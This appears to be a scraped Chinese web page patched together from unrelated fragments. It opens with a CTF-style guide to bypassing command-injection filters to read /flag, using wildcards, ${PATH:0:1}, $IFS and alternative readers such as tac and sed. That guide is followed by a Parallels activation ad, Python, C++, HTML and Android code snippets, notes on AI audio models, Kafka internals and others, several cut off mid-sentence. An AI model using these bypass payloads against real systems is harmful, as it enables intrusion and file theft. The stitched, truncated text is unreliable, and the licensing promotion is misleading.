在我遇到的题目中,想要读取文件必然是要执行cat /flag这个命令,但是题目当然不会这么轻松。让你直接cat出来,必然会有各种各样的滤过条件,你要做的就是尝试各种方法在cat /flag的基础上进行各种操作构建出最终的payload。
下面我就总结一下一些比较常见的过滤的条件和绕过方式。
(其实过滤条件主要都是对字符的限制,再有就是对长度的限制。)
一.文件名被过滤 我按自己的想法分为两大类
关键词过滤 当过滤不是逐个字母比对时(也就是关键词过滤),我们依然可以使用cat这个命令来操作,因此我们主要是操作“flag”这个字符串,使其不用不用这四个字符也能表示flag这个文件。
因此我们就逐个尝试这几种绕过方法。
1.* 通配文件,在linux里f*可以指代任何以f开头的文件 f*就可以表示flag文件因此我们构建出的payload是 cat /f*,
2.?匹配文件名:可以用?代替滤过字符 f???,就代表任意一个f开头四个字符的文件,自然也可以代表flag,因此
payload是 cat /f???
3.正则匹配: 其实与上述类似,用一个范围代表字符 [9-q]可以匹配早ascll码在9到q之间的字符。
payload是 cat /[9-q][9-q][9-q][9-q]
4.分割文件名,在linux里在字母中间插上‘ “ \这样的字符不会影响,因此可以在其中插入构建payload
其实如果只是关键词过滤的话还挺好绕过的。当然关键词绕过方法,和下面逐个字母比对的绕过有一些方法是重合的,但明显如果只是简单的关键词绕过没有必要搞一些编码什么的。
字符过滤 这个就比较苛刻了,因为题目限制的任何字符都不能出现,比如一般将flag字符进行过滤的也直接把cat给ban了因为cat同样也含有a字符
小ban ban的字符比较少,凑吧凑吧能构建出payload
1. / 被过滤:在linux中echo ${PATH}可以输出文件路径在而${PATH:0:1}便取到了/字符,
因此echo ${PATH:0:1}便是代表 /,当然还有很多写法代表/,比如${PATH:4:1}.${PWD:0:1}.${SHELL:0:1}等可以酌情选择
2.空格被过滤同样也可以找代表字符的变量 比如$IFS ${IFS} 或者这样表示{cat,/flag}也可以,我还遇到过一个方法就是使用< 可以这样cat</flag,在前边加<<<也可以表示输入流
3.若是cat的一些字符被ban也可以选择换几个读取命令,下面介绍几个命令
cat(用于连接文件并打印到标准输出设备上)
tac (用于将文件以行为单位反序输出)
more(类似cat命令,会一页一页的显示)我在实战中用到过
less(作用与more类似,都用来浏览文本文件中的内容)
head(可用于查看文件开头部分的内容,后边可选择加以个 -n参数表示显示几行,默认显示10行)
tail(与head类似,但它默认显示后10行)
nl (可以为输出列加上编号)
sed 可以这样构造 sed p /f*
sort(用于将文本文件内容加以排序)
uniq(删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行)
rev (反转一个或多个文件的行)会把flag倒叙输出
Parallels Desktop 19 for Mac 乃是一款适配于 Mac 的虚拟化软件。它能让您在 Mac 计算机上同时运行多个操作系统。您可借此创建虚拟机,并于其中装设不同的操作系统,如 Windows、Linux 或 macOS。使用 Parallels Desktop 19 mac 版时,您可在 Mac 和虚拟机之间无缝切换,同步运行两个操作系统。如此,您便能直接从 Mac 访问 Windows 应用程序和文件,无需重启或切换设备。
苹果电脑用户偶尔会遇到需要使用Windows软件的情况,大多人选择再准备一台Windows电脑,方便同时使用。Parallels Desktop虚拟机的出现,彻底解决了“双电脑办公的窘境”。为了解决部分苹果用户无法正常使用虚拟机的麻烦,下面为大家解答Parallels Desktop 19 for mac(pd虚拟机)v19.3.0(54924)安装激活图文教程含2024最新激活秘钥
PD虚拟机Parallels Desktop 19 for mac怎么装系统
安装Parallels Desktop软件之后,有的人找不到从哪里安装Windows系统。其实Parallels Desktop软件为大家提供了两种安装系统的方法。
Parallels Desktop 下载地址: https://souurl.cn/Zc5IZf
完成Parallels Desktop软件安装后,系统提示继续安装Windows系统。
完成Parallels软件安装
根据系统提示,下载并安装WIndows 11 系统。
安装Windows系统
等待系统安装Windows11 。
下载Windows系统
安装完成后,单击页面继续完成软件登录。
继续安装操作
Parallels Desktop需要我们登录账户才能继续使用Windows系统,新用户可以通过电子邮件进行账户注册,或者直接使用苹果ID进行登录。
图登录Parallels软件
完成登录后就可以正常使用Windows系统了,需要注意的是新用户只有14天的免费使用期限,过期后需要购买正式版激活码才可继续使用软件。
开始使用虚拟机
如果我们想安装除Windows11系统以外其他的系统,我们可以通过增加虚拟机的方式下载并安装新的操作系统。右键位于Dock栏的Parallels图标,选择打开“控制中心”。
打开控制中心
在控制中心点击右上角的“+”图标,新增虚拟机。
增加虚拟机
在新建页面中,用户可以选择从Microsoft等各大系统平台网站上下载并安装虚拟系统,也可以通过映像文件安装操作系统。
安装新的虚拟机
如果你的Parallels Desktop软件试用期过了,不想用破解版,也不想用绕过激活的方式,又嫌PD官网的正版太贵。那么,这里有另外一种方式使用正版,也许适合你:我们有PD官方给大型企业的许可证授权,还剩少量名额,现在低价授权给本站用户。不用多考虑,这是目前最经济实惠的正版激活方式,独一无二!
了解Parallels Desktop 19激活方式
决策树是一种用于分类和回归的机器学习模型。它通过学习一系列的决策规则将数据分成不同的类别或预测数值。决策树在构建时依赖于属性选择度量,如信息增益、基尼系数等。
在Python中,我们可以使用scikit-learn库来快速构建和使用决策树模型。下面是一个基于决策树的分类和回归的案例分析。
案例分析:决策树分类 我们将使用scikit-learn的决策树分类器对鸢尾花数据集进行分类。鸢尾花数据集包含了三种鸢尾花的四个特征(花萼和花瓣的长度和宽度),并需要根据这些特征对鸢尾花的种类进行分类。
Python 实现:
from sklearn import datasets from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import classification_report, confusion_matrix import matplotlib.pyplot as plt from sklearn import tree # 加载鸢尾花数据集 iris = datasets.load_iris() X, y = iris.data, iris.target # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) # 创建决策树分类器并训练 clf = DecisionTreeClassifier(random_state=42) clf.fit(X_train, y_train) # 预测测试集结果 y_pred = clf.predict(X_test) # 输出混淆矩阵和分类报告 print(confusion_matrix(y_test, y_pred)) print(classification_report(y_test, y_pred)) # 绘制决策树 plt.
音频生成(Audio Generation)指的是利用机器学习和人工智能技术,从文本、语音或其他源自动生成音频的过程。
音频生成行业是AIGC技术主要渗透的领域之一。AI音频生成行业是指利用人工智能技术和算法来生成音频内容的领域。按照输入数据类型不同可以分为:根据文字信息、音频信息、肌肉震动及视觉内容等数据进行的声音合成;按照场景的不同,可以分为非流式语音生成和流式语音生成。根据应用领域的不同,可以将AI音频生成分为语音合成、音乐生成、语音识别三个领域。具体来说,语音合成技术主要应用于语音助手、语音广告、残障人士辅助工具等;音乐生成技术主要应用于音乐创作、游戏音效、电影配乐等领域;语音识别主要应用于语音搜索、智能客服、语音翻译等领域。其中,语音合成是该行业的主要应用领域,占据了近70%的市场份额。
决定音频生成效果的关键因素是生成速度、分词的准确程度、合成语音的自然度以及语音是否有多样化的韵律和表现力。
1、技术发展的关键阶段 早期的音频合成:采用规则式方法,通过预录制的音素片段组合生成语音,这种方法生成的语音生硬、缺乏自然流畅感。参数化音频合成:引入参数化建模方法,使用数学模型描述语音信号,通过调整参数生成语音。这种方法提高了合成语音的自然度,但生成速度较慢。统计音频合成:采用统计学习技术,通过机器学习训练模型自动学习语音规律,实现基于大量语音数据的语音合成,生成的语音更加自然流畅。神经网络音频合成:利用深度神经网络强大的拟合能力,通过端到端的训练实现更高质量的语音合成。常见的网络结构有循环神经网络、变分自编码器、生成对抗网络等。语音合成技术与其他领域融合:语音合成技术与机器翻译、情感计算、虚拟助手等领域技术深度融合,实现语音合成与语音交互、自然语言理解等功能的一体化。多模态音频合成:实现语音与其他模式的结合,如文本、图像、视频等,实现语音与多模态信息的融合,丰富语音交互形式。自适应音频合成:引入自适应机制,使语音合成系统能够根据用户反馈实时调整参数,实现个性化语音合成。 2、主流模型实现原理及优缺点 2.1 Tacotron系列(Google开源) 谷歌开发的Tacotron系列,主要用于文本到语音(TTS)的转换。这些模型基于端到端的序列到序列(Seq2Seq)架构,能够直接从文本中生成自然听起来的语音。Tacotron系列是基于神经网络的自回归语音合成模型,通过编码器-解码器结构,将文本转化为语音波形。Tacotron2引入了WaveNet作为解码器,提高了语音的自然度和质量。
2.1.1 技术原理及架构图 Tacotron模型的核心是一个带有注意力机制的seq2seq模型。这意味着它可以处理输入的文本序列,并生成对应的语音特征,如声谱图。在Tacotron模型中,首先使用一个编码器(encoder)来理解输入的文本数据,然后通过一个基于注意力的解码器(decoder)来预测或生成语音的声谱图。最后,通过后处理网络(post-processing network)进一步优化生成的声谱图,以便更好地反映实际的语音特征。Tacotron2引入了改进的WaveNet作为声码器,用于从预测的声谱图中生成时域波形样本,这使得模型在语音质量上有所提升。 2.1.2 优点及缺点 Tacotron系列模型,包括原始的Tacotron和其改进版本Tacotron2,是基于深度学习的端到端语音合成模型。
Tacotron系列优点:
端到端学习: Tacotron系列模型实现了从文本到语音的直接转换,无需复杂的特征工程,这简化了流程并减少了工程压力。
性能优越: 在frame-level合成语音方面,Tacotron系列模型表现出色,能够处理各种起始点的训练。
自然音质: 经过改良后,Tacotron2的输出非常接近人类的自然语音。
减少误差累积: 相对于传统系统,Tacotron通过避免多模块误差累计,提高了合成质量。
Tacotron系列缺点:
RNN的问题: 原始的Tacotron使用RNN模型,存在短期记忆和梯度消失的问题,这影响了信号合成效果。
端到端不彻底: 尽管Tacotron系列模型在很多方面表现出色,但仍有评论指出其端到端学习并不完全彻底,可能会影响最终的输出质量。
计算资源需求高: 虽然Tacotron可以直接将文本转换为语音波形,但Wavenet作为其组成部分,其训练过程需要大量的计算资源。
2.2 Transformer-TTS(Google开源) Transformer-TTS利用Transformer的注意力机制,通过编码器-解码器结构实现语音合成。该模型相比Tacotron系列有更高的并行计算能力和更好的长距离依赖建模。
2.2.1 技术原理及架构图 Transformer-TTS主要通过将Transformer模型与Tacotron2系统结合来实现文本到语音的转换。在这种结构中,原始的Transformer模型在输入阶段和输出阶段进行了适当的修改,以更好地处理语音数据。具体来说,Transformer-TTS利用自注意力机制来处理序列数据,这使得模型能够并行处理输入序列,从而提高训练效率。此外,Transformer-TTS还采用了自回归误差方法来优化模型性能。
2.2.2 优点及缺点 优点:
训练速度:与基于RNN的模型相比,Transformer-TTS显著提高了训练速度。这是因为Transformer允许并行处理输入序列,而不是依赖于逐步前向传播。性能提升:在多个严格的真人测试中,Transformer-TTS显示出了最先进的性能。并行训练:由于移除了RNN结构,Transformer-TTS可以实现真正的并行训练,这进一步加快了训练过程。 缺点:
生成质量问题:尽管Transformer-TTS在训练速度和性能上有所提升,但在某些情况下,其生成的语音质量可能不如其他一些模型。例如,与FastSpeech2相比,Transformer-TTS在生成效果上存在不足。推理阶段的依赖性:虽然Transformer-TTS在训练阶段表现出色,但在推理阶段,它仍然需要依赖于先前生成的mel-spectrogram帧来生成当前时刻的输出,这可能限制了其灵活性和适应性。 2.3 FastSpeech系列(微软&浙大开源) FastSpeech通过引入速度控制机制,实现快速可控的语音合成,同时保持了较高的语音质量。该模型通过预测语音持续时间,实现了快速的语音合成。
详见另外一篇文章:FastSpeech 2整体结构、模块配置及优化 2.4 Whisper(OpenAI开源) OpenAI开发并开源的一个自动语音识别系统,主要用于将语音转换为文本。Whisper模型采用了Transformer序列到序列模型,这是一种深度学习技术,特别适合处理序列数据,如语音信号。在这个架构中,输入的音频被分割成30秒的片段,并转换为log-Mel频谱图,然后输入到编码器中。解码器则预测相应的文本标题,并使用特殊的令牌来指导单一模型执行任务。
2.4.1 技术原理及架构 Whisper自动语音识别系统的技术原理主要基于深度学习和神经网络技术。它通过训练大量的音频数据,让模型学习到从音频波形中提取语音特征的能力。具体来说,Whisper采用了编码器-解码器的架构,这是一种端到端的方法,可以直接将语音信号转化为文本。
2.4.2优点及缺点 优点
多语言支持:Whisper支持多种语言,包括但不限于98种语言,这使得它在跨语言交流和多语言应用场景中具有很大的优势。
高准确性:基于深度学习技术,Whisper展现出高准确性的语音识别能力。它已经在真实数据以及其他模型上使用的数据以及弱监督下进行了训练,显示出惊人的准确性。
多任务学习能力:Whisper不仅能执行语音识别,还能进行语音翻译和语言识别等多任务处理,这增加了其应用的灵活性和实用性。
缺点:
资源消耗:大规模的深度学习模型需要大量的计算资源,这可能导致运行成本较高。
对复杂环境的适应性问题:虽然Whisper在多种语言和复杂场景中表现出色,但在极端噪音或非标准发音的情况下,其准确率可能会受到影响。
依赖于大量标注数据:为了达到高准确率,Whisper需要在大规模的多样化音频数据集上进行训练,这意味着需要大量的人工标注工作。
局限于特定领域的应用:虽然Whisper的多语言支持使其在全球范围内有广泛的应用前景,但其性能可能在特定的行业或专业领域(如法律、医学)中需要进一步优化和调整。
2.5 WavLM(微软&Azure开源) WavLM(WavLM: Large-Scale Self-Supervised Pre-Training for Full Stack Speech Processing)是微软提出的一个大规模自监督预训练模型,主要用于全栈语音处理任务。该模型基于HuBERT框架构建,专注于口语内容建模和说话人身份保护。
一、01背包问题 1.题目描述 有 N 件物品和一个容量是 V 的背包。每件物品只能使用一次。第 i 件物品的体积是 vi,价值是 wi。
求解将哪些物品装入背包,可使这些物品的总体积不超过背包容量,且总价值最大。输出最大价值。
01背包问题特点:每个物品只能用一次,只能选择或者不选择
2.动态规划思想 动态规划就是需要解决子问题,再通过状态转移方程拓展至整体最优。即需要满足:问题的最优解中包含的子问题也是最优的。
定义 :当前背包容量为 j ,考虑前 i 个物品的最佳组合对应的价值。
当考虑背包容量为 j ,前 i 个物品的选择时,有两种想法:
① 不选择第 i 件 物品 则 ② 选择第 i 件 物品,则需要考虑到剩余的背包容量 j - w[ i ] :
最终状态转移方程:
、
由于状态转移过程都是由原先的状态得到的,因此思想成立。
#include<iostream> #include<cstring> #include<cmath> using namespace std; const int N=1010; int f[N][N]; int v[N], w[N]; int n, m; int main() { cin>>n>>m; for(int i=1;i<=n;i++) cin>>w[i]>>v[i]; f[0][0]=0; for(int i=1;i<=n;i++) for(int j=0;j<=m;j++) { if(j<w[i]) f[i][j]=f[i-1][j]; if(j>=w[i]) f[i][j]=max(f[i-1][j],f[i-1][j-w[i]]+v[i]); } cout<<f[n][m]<<endl; return 0; } 3.
结尾 学习html5、css、javascript这些基础知识,学习的渠道很多,就不多说了,例如,一些其他的优秀博客。但是本人觉得看书也很必要,可以节省很多时间,常见的javascript的书,例如:javascript的高级程序设计,是每位前端工程师必不可少的一本书,边看边用,了解js的一些基本知识,基本上很全面了,如果有时间可以读一些,js性能相关的书籍,以及设计者模式,在实践中都会用的到。
开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】
https://www.oschina.net/translate/writing-a-killer-software-engineering-resume
这个模板很赞,符合我前篇文章提到几个要点,简洁工整、重点突出、条理清晰。很多人简历上喜欢写自己的技能树,我觉得没必要,多写写你做过的东西,别人会更感兴趣。
作者前面的个人信息,教育背景,技能树都是一概而过。最主要的是他的工作经历和项目经验。当然这跟个人经历有关了。没有Word版本,只有这个图片模板。
4、外国求职模板
https://careercup.com/resume
顺着第三个的模板,我摸出了这个同样很赞的模板,不过也是老外的,作者的工作经历放最前面,重点突出,后面就是他的教育背景、项目经验和技能树了。需要说明的是,老外的模板字体排版并不符合中文审美,我看中的是他的主次分明。有需要的记得调整文字和版面哦。有Word版本,见文末。
5、三太子敖丙
https://www.zhihu.com/question/23527137/answer/1008285022
建议把技能树放到项目经历后面。有Word版本,见文末。
6、mdnice在线简历
https://resume.mdnice.com/
还有其他四种模板可以选择,很简洁实用的模板,符合我心目中的简历。上图是模板4.有需要直接复制链接去看。
7、单页简历
网上找到的,个人认为有个性,参考设计版式,内容还需要调整。有30个,有Word版本,见文末。
8、Github
Github上的多星项目,自己根据不同模板制作不同版式,参考下面这个链接去找。
https://segmentfault.com/a/1190000038571000
总结
–
以上就是我整理的一些有用的简历模板,但重点还是我昨天的文章提到的几点,用心的简历一定能够看出来的。
上面有Word版本的简历模板,我已经整理好了放到网盘了。
❤️ 看完两件事
如果你觉得这篇内容对你挺有启发,我想邀请你帮我两个小忙:
JavaScript 和 ES6 在这个过程你会发现,有很多 JS 知识点你并不能更好的理解为什么这么设计,以及这样设计的好处是什么,这就逼着让你去学习这单个知识点的来龙去脉,去哪学?第一,书籍,我知道你不喜欢看,我最近通过刷大厂面试题整理了一份前端核心知识笔记,比较书籍更精简,一句废话都没有,这份笔记也让我通过跳槽从8k涨成20k。
如果你觉得对你有帮助,可以戳这里获取:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】
从小到大,我们看过的动漫、玩过的游戏有很多很多
但我们会发现里面的角色或者人物都是二次元的
我就会好奇这些动漫人物在现实中会长什么样
而现在,我们通过AI绘画竟然就能还原出来他们现实中的样子
除了动漫角色和游戏人物,古代的画像、经典的二次元图像,例如QQ头像等等,都可以把他们转成现实中的样子
无论用作满足好奇心,还是文创科普,亦或是教育都能启动辅助的作用
这篇文章会详细地介绍动漫转真人地制作方法,你只需要一步一步跟着操作,也能做出同款图片
另外,文中需要用到的模型文件,也都给大家打包好放在末尾的网盘链接里,不需要大家再自己到处去找
花了很多时间才整理出来,希望对你有帮助
目录
一、动漫转真人有什么用
1.将动漫人物变成真人
2.将游戏人物变成真人
3.将画像变成真人
二、动漫转真人分类
三、完全还原原图结构
1.图生图
01.选大模型
02.写关键词
03.参数设置
2.Tile
四、仅参考人物特征
五、特殊情况
六、结尾
一、动漫转真人有什么用 1.将动漫人物变成真人 这是我小时候非常喜欢的动漫火影忍者里的一个女角色
现在通过AI就可以生成出来她现实中的样子
还有我们的童年女神静香,在现实中也是一个非常可爱的小女孩
2.将游戏人物变成真人 除了动漫里的角色,游戏里的人物也可以变成现实中的样子
这是王者荣耀里的一个英雄
这是拳皇里的一个英雄
3.将画像变成真人 还有我们小学就学过的中国古代四大美人
一直都很好奇她们四个究竟有多好看,可是留下的画像都非常抽象,根本想象不出来
现在我们就可以通过这些画像还原出来,现实中的她们到底长什么样,也可以用作文创或者教育
下面这张图就是杨玉环杨贵妃
以上这些不管是动漫角色、游戏人物、还是古代的画像、经典的QQ头像等等,所有不是现实中的样子的照片,现在都可以通过AI技术将它们转变成现实中的样子
接下来的这篇文章,我们就来详细的介绍这种动漫转真人的制作方法
二、动漫转真人分类 动漫转真人可以分为两种
一种是完全还原原图的构图、人物姿势
另一种是参考原图的人物特征,生成出来一张新的照片,这张照片可以生成出新的构图和人物姿势
接下来我们就分成两种情况,分别讲解它们的制作方法
三、完全还原原图结构 想要完全还原我们参考图的结构、构图、人物姿势的方法有两种
一种是用图生图功能,还有一种是用controlnet里的tile模型
可以看一下这三张图片,两种方法做出来的人物没有太大的差别
唯一的区别就是tile模型生成出来的图片会有更多的细节,会自动给图片加上一些原图都没有的东西
具体操作步骤可以分为三步:
两种方法只有第三步不一样
1.选大模型
2.写关键词
3.参数设置
接下来我们就用这个动漫人物作为例子,看看具体的操作步骤
1.图生图 01.选大模型 我们要用到的都是真实的大模型
给大家分享两个我非常喜欢的大模型,出来的图片效果比较好,而且人脸也比较好看
一个是majic Mix,还有一个是极氪写实MAX
大模型放在网盘里,需要的朋友可以自己去下载
02.写关键词 关键词里主要写的是对我们原来照片的描述
通过文字将我们的照片描述出来
这里可以借助一个插件——标签器
它可以根据我们上传的照片自动描述出来画面的内容
打开“WD1.4标签器”
Midjourney是一个热门的AI绘画工具,其相比于SD的优点在于无需在本地搭建环境,只需要下载一个聊天工具Discord就可以使用,对于笔记本配置不高的朋友来说比较方便。且Midjourney创意性更好,思维发散,目前的V6版本的细节也更好一点。
但是Midjourney想要使用,需要按月或按年充会员,才能使用。目前的收费标准如下:
订阅的方式很简单,支持信用卡和支付宝两种方式。但是支付宝方式实测很不稳定,经常打不开支付页。因此更推荐使用信用卡支付。
这里推荐一种一劳永逸的方法,那就是使用WildCard。该卡支持支付宝充值,适合国人使用。注册了WildCard后,只要涉及到用信用卡支付的场景都可以绑定使用,例如chatgpt plus,openai api,苹果App Store等等。
WildCard注册地址如下,因为WildCard是会员制,所以要点击下方链接才能注册:
WildCard | 一分钟注册,轻松订阅海外软件服务
注册完成后,会得到下面的界面。
点击充值,充入自己需要的金额,用不完可以退。
之后登录Midjourney账户,在下侧命令栏输入 /subscribe,然后点击 Manage Account,就可以弹出充值页面。
之后将WildCard信息填入,点击订阅即可。
文章目录 前言一、 综合案例:个人简历信息展示页面 前言 这篇博客仅仅是对HTML的基本结构进行了一些说明,关于HTML的更多讲解以及CSS、Javascript部分的讲解可以关注一下下面的专栏,会持续更新的。
链接: Web前端学习专栏
下面我对这个专栏的内容进行几点说明:
适合每一个前端0基础的小伙伴学习。对常用标签以及常用属性进行了详细讲解。最后有两个综合案例实现,手把手带大家实现两个综合案例。可以把本篇博客当作查询资料,HTML的知识忘记了的话可以根据博客的目录找到相对应的内容进行复习。 首先,提示一下大家,如果是在手机端看这篇博客的小伙伴,请移步电脑端学习哈!在电脑上会更好看一些!如果能够跟着在电脑上进行代码的实现就会更好了!
在这个学习过程中,将遇到挑战和困难,但请相信,每一次的努力和坚持都将化为成长的动力。让我们携手共进,一起探索Web前端的无限可能!
一、 综合案例:个人简历信息展示页面 接下来,我们就结合我们之前学习过的HTML的标签来打造一个简历信息的展示的页面.
我们先来看一下页面:
我们首先看到的是我们页面中的姓名,紧接着下面是我们的基本信息板块,教育背景板块,专业技能板块,还有我的项目板块,还有一个个人评价板块。
接下来,我们就通过代码来实现这样一个页面。
我们可以观察到这个姓名非常突出的,字体很大,我们就可以通过h1标签来实现这样的效果。
<h1>论迹</h1> 接下来就是我们的基本信息板块了,为了让我们的页面结构比较整洁,此时我们就通过div标签来表示这个板块。
<div> </div> 姓名下面就有一个基本信息的几个大字,这个时候我们就可以使用不同的标题标签来实现这个效果了。我们观察到这个基本信息的标题比上面姓名的标题稍微小一点,我们就可以使用h2标签。
<h2>基本信息</h2> 浏览器显示如下:
再往下看,我们可以看到这个板块首先有一张图片,这里使用img标签来将图片进行插入。这个图片我们直接通过外部网址(url)来进行导入。
<img src="https://img2.baidu.com/it/u=978276174,890356570&fm=253&fmt=auto&app=120&f=JPEG?w=712&h=500" alt=""> 此时我们打开页面看一下效果:
我们发现这张图片稍微有点大,那我们可以通过width属性和heiight属性的不同取值去设置这个图片的大小。
<img src="https://img2.baidu.com/it/u=978276174,890356570&fm=253&fmt=auto&app=120&f=JPEG?w=712&h=500" alt="" width="200" height="200"> 浏览器显示如下:
在基本信息板块中,除了一个图片,还有其他的基本信息,那么我们可以看到这些基本信息都是单独的一行,那么这个时候我们就可以使用段落标签p来实现这样的效果。这些都是嵌套在div标签中的,这个时候我们为了页面更加简洁,就可以将这些基本信息放在一个小盒子里,通过span标签来实现。 <span><p>求职意向:C++开发</p></span> <span><p>联系电话:123456789</p></span> <span><p>个人邮箱:123456789@.com</p></span> 浏览器显示如下:
那么接下来,我们看到还有“我的 gitee”和“我的博客”没有实现,这个时候时候我们就要使用到超链接a标签了。我们使用a标签就要跳转到某一个地址,这里我们就跳转到“我的gitee”和“我的博客”的地址。
<span><p><a href="https://gitee.com/pepper-cloth">我的gitee</a></p></span> <span><p><a href="https://blog.csdn.net/2303_80341387?spm=1000.2115.3001.5343">我的博客</a></p></span> 浏览器显示如下:
我们一点击页面中的我的gitee和我的博客,就会跳转到对应的链接页面。
那么此时我们就写完了我们的基本信息板块。接下来再来看我们的教育背景板块。
那么同样地,我们为了使页面更加简洁,我们把教育背景这个板块放在一个大盒子里面,使用div标签来实现这一效果。
<div> </div> 接下来,我们还是首先看到教育背景这个标题,我们可以看到教育背景和基本信息是对应的,所以我们和基本信息一样都使用h2标签来实现。
<h2>教育背景</h2> 浏览器显示如下:
我们可以观察下,这些教育背景是有序的,那么我们就可以使用有序标签ol来实现这个效果。
<ol> <li>2000-2006 xxx小学 小学</li> <li>2006-2009 xxx初中 初中</li> <li>2009-2012 xxx高中 高中</li> <li>2012-2016 xxx大学 计算机专业 本科</li> </ol> 浏览器显示如下:
开发过程中,美化界面离不开颜色,利用颜色代码轻松设置界面、控件的背景颜色
步骤非常简单
color.xml中定义颜色代码activity_main.xml中设置颜色。 详细步骤如下
1、找到color.xml,并替换成如下代码
<?xml version="1.0" encoding="utf-8"?> <resources> <color name="purple_200">#FFBB86FC</color> <color name="purple_500">#FF6200EE</color> <color name="purple_700">#FF3700B3</color> <color name="teal_200">#FF03DAC5</color> <color name="teal_700">#FF018786</color> <color name="black">#FF000000</color> <color name="white">#FFFFFFFF</color> <color name="ivory">#fffff0</color><!--象牙色 --> <color name="lightyellow">#ffffe0</color><!--亮黄色 --> <color name="yellow">#ffff00</color><!--黄色 --> <color name="snow">#fffafa</color><!--雪白色 --> <color name="floralwhite">#fffaf0</color><!--花白色 --> <color name="lemonchiffon">#fffacd</color><!--柠檬绸色 --> <color name="cornsilk">#fff8dc</color><!--米绸色 --> <color name="seaShell">#fff5ee</color><!--海贝色 --> <color name="lavenderblush">#fff0f5</color><!--淡紫红 --> <color name="papayawhip">#ffefd5</color><!--番木色 --> <color name="blanchedalmond">#ffebcd</color><!--白杏色 --> <color name="mistyrose">#ffe4e1</color><!--浅玫瑰色 --> <color name="bisque">#ffe4c4</color><!--桔黄色 --> <color name="moccasin">#ffe4b5</color><!--鹿皮色 --> <color name="navajowhite">#ffdead</color><!--纳瓦白 --> <color name="
前言 kafka的主题(topic)可以对应多个分区(partition),而每个分区(partition)可以有多个副本(replica),我们提生产工单创建topic的时候也是要预设这些参数的。但是它究竟是如何存储的呢? 我们在使用kafka发送消息时,实际表现是提交日志,日志记录会一个接一个地追加到日志的末尾,同时为了避免单一日志文件过大无线膨胀,kafka采用了日志分段(LogSegment)的形式进行存储。所谓日志分段,就是当一个日志文件大小到达一定条件之后,就新建一个新的日志分段,然后在新的日志分段写入数据。每个日志段对象会在磁盘上创建一组文件,包括消息日志文件(.log)、位移索引文件(.index)、时间戳索引文件 (.timeindex),也就是说日志段才是kafka真正的日志文件存储基础单元。 整个主题、分区、副本、日志关系如下: 以__consumer_offsets这个topic为例,每一个目录对应一个分区,说明dev环境下这个topic有50个分区,每个子目录下存在多组日志段,也就是多组.log、.index、.timeindex 文件组合。 进入/tmp/kafka-logs/__consumer_offset-49目录,下图中文件名的一串数字0是该日志段的起始位移值(Base Offset),也就是该日志段中所存的第一条消息的位移值,由此也可以推测出0000000000000000000.log中共有20条日志记录 配置 前面是从生产配置和kafka目录的文件直观看到消息相关的内容,下面引入几个kafka消息相关的配置。 日志清理策略 kafka log的清理策略有两种:delete,compact,默认是delete delete:一般是使用按照时间保留的策略,当不活跃的segment的时间戳是大于设置的时间的时候,当前segment就会被删除compact: 日志不会被删除,会被去重清理,这种模式要求每个record都必须有key,然后kafka会按照一定的时机清理segment中的key,对于同一个key只保留最新的那个key。同样的,compact也只针对不活跃的segment
对应的配置是log.cleanup.policy: delete,对应topic级别的配置是cleanup.policy 消息保存时长 Kafka 支持服务器级保留策略,我们可以通过配置三个基于时间的配置属性之一来调整该策略: log.retention.hours
log.retention.minutes
log.retention.ms
其默认配置是log.retention.hours=168,即默认保留7天, Kafka自身会用较高精度值覆盖较低精度值。因此,如果在配置中新增log.retention.minutes=10,消息的保留时间将会变更位10分钟
上面这个配置是服务器级别的,配置在server.properties中,每次新增创建topic时,如果不指定topic的日志保留时间,以上述配置为例,消息的保留时长就是7天,如果配置retention.ms=600000,这是从log.retention.minutes派生而来的,这个参数是topic级别的,配置了这个值,就会以这个值为准,创建topic之后,仍然可以单独调整retention.ms,来调整topic的保留时间 segment相关配置 segment有两个很重要的配置 log.segment.bytes
log.roll.hours
目前风控kafka上述两个配置都是默认值,见下图,log.segment.bytes是1G,log.roll.hours是7d,这两个配置在后续分析segment相关原理时还会再详细介绍
segment扫描频率的配置,日志片段文件检查的周期时间,目前生产配置为5min log.retention.check.interval.ms
原理 为什么要看源码?因为检索了kafka的官方文档,关于segment的单独说明极少,网上检索到的资料又没有足够的说服力,所以最终决定还是从源码中寻找相关问题的答案 kafka源码搭建
当前风控系统使用的kafka是1.1版本,随机下载了相关源码,由于kafka是用scala编写的,并用gradle进行打包处理,也进行了相关程序的下载,对应的版本见下述列出,感兴趣的同事可以按如下版本下载,解压编译kafka源码,然后就可以在idea中查看了
kafka源码版本:1.1scala版本:2.12.7gradle版本:4.7 LogConfig 该scala定义了Defaults object,scala中的Object可以看成java中的util类,存放了很多常量 log.segment.bytes: 1GBlog.roll.ms: 168hourlog.retention.bytes: -1log.retention.ms: 168hour LogSegment 正如前文中介绍的,segment才是kafka存储单元的基础部分,随之找到了相关类LogSegment.scala 变量声明 它的参数定义如下,可以查看它的注释,明确的支出了segment是由log和index组成的,这也与我们前面查看kafka目录中对应的日志文件呼应了 /** * A segment of the log. Each segment has two components: a log and an index. The log is a FileMessageSet containing * the actual messages.
Meta 推出 Llama3 也有一小段时间了。Llama3 包含 8B 和 70B 两种参数规模,涵盖预训练和指令调优的变体。Llama 3 支持多种商业和研究用途,并已在多个行业标准测试中展示了其卓越的性能(关于Llama3的具体介绍可以参考本站另外一篇博文:尝鲜 Meta Llama 3)。和以往的原始 Llama 模型一样,Llama 3 对中文的支持效果欠佳,经常会出现你用中文提问,它用英文或中文+英文回复的现象。
例如当我问它:”你是谁?“,会得到如下的回答:
>>> 你是谁? I am LLaMA, an AI assistant developed by Meta AI that can understand and respond to human input in a conversational manner. I'm not a human, but a computer program designed to simulate conversation and answer questions to the best of my ability based on my training data. I can generate text on a wide range of topics, from science and history to entertainment and culture.
原创:转载请注明!
root 的过去和现在 从 Android 诞生到现在,我们实际上所使用的 root 方案,大致为以下几种
